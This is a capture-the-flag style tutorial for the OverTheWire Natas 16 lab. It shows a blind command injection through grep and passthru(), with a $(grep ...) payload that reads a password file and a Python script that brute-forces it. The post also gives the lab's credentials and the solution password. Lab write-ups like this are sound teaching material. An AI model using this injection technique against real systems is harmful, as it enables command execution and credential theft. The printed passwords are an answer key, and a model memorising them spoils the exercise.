OverTheWire Natas Level 15 → 16 tutorial!!
Published on 28 Dec 2023
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URL: http://natas16.natas.labs.overthewire.org
Credentials: natas16:hPkjKYviLQctEW33QmuXL6eDVfMW4sGo
# Using curl (optional):
curl -u natas16:hPkjKYviLQctEW33QmuXL6eDVfMW4sGo
http://natas16.natas.labs.overthewire.org/

Task
The page lets us search inside a dictionary with grep, but the input is filtered.
Characters like ; | & \ ‘ “are blocked — yet$ ( )` are still allowed.
That means we can use command substitution: $( <command> ).
A little bit of Theory
From the source:
if(preg_match('/[;|&`\'"]/', $key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i \"$key\" dictionary.txt");
}
passthru()runs our input insidegrep.- By injecting
$(...), we can make grep’s pattern dynamic. - Trick: use grep itself to test password prefixes from
/etc/natas_webpass/natas17.
Approach
We inject payloads like:
$(grep -E ^<prefix>.* /etc/natas_webpass/natas17)
- If
<prefix>matches the start of the password → innergrepprints the password → outergrepfinds no matches → page is short. - If not → output is empty → outer
grepsearches the dictionary normally → page is long.
So by measuring response length, we can brute-force the password.
Solution
Step 1: Manual test
Try:
$(echo test)
You’ll see lots of dictionary matches containing “test”.

Step 2: Automate with Python
import requests, sys
from string import ascii_lowercase, ascii_uppercase, digits
charset = ascii_lowercase + ascii_uppercase + digits
s = requests.Session()
s.auth = ('natas16', 'hPkjKYviLQctEW33QmuXL6eDVfMW4sGo')
password = ""
# adjust if your instance differs
TRUE_LEN = 1105
while len(password) < 32:
for ch in charset:
prefix = password + ch
payload = {'needle': f'$(grep -E ^{prefix}.* /etc/natas_webpass/natas17)'}
r = s.get('http://natas16.natas.labs.overthewire.org/index.php', params=payload)
if len(r.text) == TRUE_LEN:
sys.stdout.write(ch)
sys.stdout.flush()
password += ch
break

Password
EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC
Troubleshooting
- Getting only “illegal character”? → Make sure payload doesn’t contain blocked symbols.
- Wrong length? → Print
len(r.text)for true/false cases and adjustTRUE_LEN. - Script stuck? → Double-check
charsetand the path/etc/natas_webpass/natas17.
Congrats 🎉 You’ve used a blind command injection oracle to recover the password for natas17!
Thanks for reading!
Until next time — Otsumachi!! 💖☄️✨

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